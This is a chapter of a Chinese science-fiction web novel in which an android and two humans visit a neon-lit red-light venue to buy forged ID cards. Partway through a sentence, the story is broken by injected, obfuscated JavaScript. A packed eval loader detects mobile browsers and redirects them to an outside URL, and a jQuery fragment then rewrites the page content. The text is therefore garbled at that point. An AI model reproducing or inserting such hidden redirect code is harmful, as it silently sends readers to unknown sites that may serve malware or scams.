6. 霓虹茧房

作品:《图灵收到了花

    扬光臭着脸冲艾拉零没好气道:“看好了。”


    手腕一落一起,西弗斯的金属圆环一声脆响,紧接着暴跳如雷的声音响彻基地。


    “瞧瞧你干的好事儿!瞧瞧啊,瞧瞧啊!博士对你太失望了,你!与自然人类为伍!”


    “闭嘴,西弗斯。”


    扬光耳朵都要炸了:“他一直这样吗?”


    艾拉零:“K902,性格差了一点,业务能力优秀。”


    西弗斯还在骂骂咧咧:“你对我做了什么?非法改造!一定是非法改造!”


    “不好意思啊,”扬光悠闲地呲着大牙,“我法盲,修改屏障代码犯法吗?”


    顾筵看着艾拉零检查西弗斯的代码和基础零件,西弗斯还在骂。


    “你知道吗,你现在的行为和剥光我的衣服没有区别!你让我用这个姿态示人!不可饶恕!”


    “一堆零件而已,只有机械狂会用那种眼光看你。”


    扬光本想保持臭脸,但艾拉零的举动实在引他好奇,凑过去问:“你找什么呢?”


    艾拉零突然回头,他才意识到自己太过靠近,踉跄着退了一步。


    “对比代码,之前的代码看来不是你修改的。”


    “啊?”扬光抓抓脑袋,“怎么还打哑谜啊?”


    顾筵收回目光:“我不联系继续使用它,王室能修改代码,也能修改硬件。”


    艾拉零摇摇头:“我需要他。”


    顾筵注意到了她的用词,忍不住问:“这也是朋友吗?”


    艾拉零抬头有些疑惑地看向他几秒,语气平缓:“当然。”


    “你的评价标准到底是什么?”


    艾拉零回答:“我们出生入死。”


    (西弗斯喘着粗气:“出生入死!说得好听!”)


    扬光没好气地按住西弗斯想强行关机,西弗斯大叫:“顾筵!顾筵!研究中心助理研究员!扬光!扬光!你算个什么东西!”


    “满嘴喷的啥?!”扬光也陪了个破口大骂,按住西弗斯躁动的躯体强行关闭。


    艾拉零瞥了顾筵一眼:“我也好奇,你是妈妈派来的,那他呢?”她看向扬光,“我猜妈妈一定不知道他的存在,对吧。”


    扬光反唇相讥:“跟你有关系吗?你合作的是顾筵,我搭档的是顾筵,而我们之间,你和我,”他指指自己又指指艾拉零,“仅仅只是在同一个空间里。哦,如果你可以呼吸的话,我们倒是还呼吸同一个地球的空气。”


    他伸手就作势去探艾拉零的鼻息,被她一手刀打掉。


    扬光不过是做做样子,从第三代仿生人劳拉开始模拟呼吸的技术就已经成熟了。那时候是作为儿童陪伴型伙伴推出的,目的是为了最大程度削减孩子和家长对于拟人物体的恐惧。


    顾筵在一旁思忖良久,久到甚至没有心情去打断扬光嘴欠。


    他突然发声:“我要去王室中心塔,如果可以,我希望你能助我一臂之力。”


    艾拉零:“我能问为什么吗?”


    “互通有无是信任的基本前提,你只要有疑问,我知无不言——”他举起从西弗斯的零部件里找到的一枚精巧的芯片,“看看这上面写着什么。”


    艾拉零接过来,正反面都翻了一遍。


    哑光质感的墨绿色玻璃纤维板能隐隐看到内部的方阵结构,已经切断了电路,似乎没有什么威胁性。但引人注意的果然还是外面那行字。


    ChronoCore。


    艾拉零摇摇头:“没有见过。”


    “在你朋友的身体里被找到,你不好奇吗?”


    扬光似乎想到了什么,目光在二人之间逡巡一圈,倒是一反常态地闭上了嘴。


    艾拉零思索片刻,轻微但坚定地点了头:“你的伤什么时候好,我们什么时候出发。”


    “出发?你是说去哪儿?”扬光语气奇怪。


    艾拉零坦然回答:“王室中心塔,北纬48.8度,东经2.3度。”


    “等等,”扬光一阵头疼,“我以为你很聪明来着?你该不会觉得你的ID卡还能用吧?”


    “当然不能,”艾拉零极少做表情,但扬光发誓她现在脸上写着“你是白痴吗”这句话,“但闸机可以暴力拆解,其实不难。”


    扬光心里听得哇凉哇凉的。


    呵呵,好一个不难。


    他脑海里已经能浮现艾拉零搬了个电磁脉冲把中心塔的电子设备瘫痪后一个纳米侵蚀弹把那破地方夷为平地的恐怖画面。


    “暴力拆解不可取,你的出现很可能会威胁到博士,难道你没想过吗?”顾筵道。


    “我考虑过七种方案,依然觉得暴力拆解能最快达到目标。”


    顾筵双手抱胸:“我的方案也许你可以听听,但成功率与你息息相关。”


    “取决于我的什么?”


    “取决于你能不能足够像一个自然人。”


    ——————


    霓虹茧房位于中心区的南部高墙外,刚出城艾拉零就退了一步。


    顾筵和扬光没什么反应。


    扬光回头看了看她在后面几步之遥站定的样子,咧嘴笑了。


    “怎么,难道你没见过中心区外面的光源?还是你以为地球上的灯都一样?”


    如今的地球已经一片水深火热的熔炉,大部分人都困于其中。


    顾筵默默地等她的反应。


    扬光还在叨叨:“人分三六九等,所以人能照的光也分三六九等。”


    他转身自顾自地朝着前方的废墟走去。


    昏暗的光打下来,像是辉煌的中心区身后的一片阴影。


    植被难以覆盖这片土地,只有一些暗流出有些青苔。


    “早让你不要用滑轨通道了,你那破影渡,没有通道的地方又用不了。”扬光啐了一声,哀哀吼道,“腿要断了。”


    他们走的是小路,时不时能从废墟的狭缝中看见大道上来往的灯火通明的马车。


    “我们也应该租一辆的。”


    无人回应。


    “我说,你们俩谁理理我?”


    依旧沉寂。


    “无趣。”


    其实远没有扬光抱怨得远,只是层层叠叠的废墟遮盖了视线,等到视野重新开阔,霓虹闪烁着的三层红砖建筑出现在众人眼前。


    “霓虹茧房。”扬光吹了吹口哨,“名副其实吧。”


    门口站着一名妖娆的女子,朝站在最前面的扬光风情万种地挥了挥手。


    几人走近,艾拉零锁定了她锁骨上的条码。


    克里斯塔T022。


    “先生,指名吗?”


    扬光嬉皮笑脸:“指啊!哦,”突然想起来似的,摸遍了全身口袋,找出一张皱巴巴的纸,“克里斯塔A209。”


    T022闻言,抬起狐媚的眼眸看向扬光身后的顾筵和艾拉零。


    她在艾拉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073041|163308||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    零身上停留的时间有些久。


    顾筵云淡风轻地揽过艾拉零,T022这才收回目光。


    “这位小姐有些面善,是我冒犯了。客人们,请随我来。”


    霓虹茧房的第一层乌烟瘴气得可以,各种面色阴沉苍白的人慢吞吞地走着走着。形容枯槁的瘦长身影靠在角落吞云吐雾,T022领着他们经过这些人,偶尔有几个抬头漠然看一眼,大多数人都视而不见,沉溺在自我的享乐中。


    “别在意他们,当不存在就好了。”T022慢吞吞地当着众人的面对顾筵等人说。


    “A209,找你的。”


    房间里另一名克里斯塔在抽着水烟。


    “欢迎,我的客人们。”


    她又抽了一口。


    顾筵将一叠纸币放到她面前:“这是你的报价的两倍,我再翻了一倍。”


    A209换了个坐姿。


    “为什么?”


    “我了解到你一单只做一个ID卡。”


    “我喜欢这种花功夫了解我的男人。”A209含笑点了点烟杆。


    “看这个数目,你是要做两张?”她的目光一转,“谁和谁的?”


    艾拉零往前半步。


    A209啧啧两声:“你们人类喜欢在这么刺激的地方约会?”


    顾筵漫不经心道:“偶尔吧。”


    “这单我可以接两张,但我只收原价。”A209的葱葱玉指取了一半推回去。


    “不过加个码也不是不行。”她笑意盈盈地看着艾拉零,“这位小姐告诉我,这杆水烟是什么味道的?我惦记了好久,抽是抽上了,但我们没有嗅觉。”


    还没等三人做反应,她伸出食指摇了摇,“可千万别同情我们,在霓虹茧房,没嗅觉再好不过了,听说那些老男人,味道一个比一个冲。”


    她明媚地笑了,和言语形成鲜明的对比。


    A209的烟杆收在脸侧,艾拉零淡淡地上前俯下身,靠得就快贴上去才嗅得到烟杆。


    扬光见鬼似的看着A209的眼神黏腻在艾拉零脸上。


    艾拉零这才退后:“不同的烟草调味不同,你这一杆远远闻只有薄荷味,但是凑近了能闻到香草混着焦糖的甜。是中心区的东西,价格不菲,贵族少女们不少人偏爱这个味道。”


    “太棒了,那老男人果然没骗我。”


    A209又来了一口。


    “这单我接了,你们随处逛逛,别去顶层打扰贵人们就好。”


    出门后扬光摸了摸自己一胳膊的鸡皮疙瘩。


    “这个型号的仿生人不会是服务女贵族的吧,靠。”


    艾拉零看了他一眼:“出厂设置很统一,克里斯塔型是专门用于红灯区服务的,刚刚如果凑近的是你,她也会那样看你。不过我的信息库可以更新了,扬光没接触过克里斯塔型。”


    扬光不敢相信自己的耳朵,朝顾筵压低声音喊:“我靠,她嘲笑我?你听见没?她嘲笑我!”


    顾筵不语,但扬光总觉得他的表情管理也不太到位,莫名地欠揍。


    又一名克里斯塔从他们身边经过,多看了艾拉零两眼。


    扬光不可能忽视这个问题,紧张地问:“你来过?”


    艾拉零摇摇头。


    “你当我傻是不?她们那样子明显见过你!你故意坑我们呢?”


    艾拉零停下来:“我以为人类合作的先决条件是坦诚和信任。”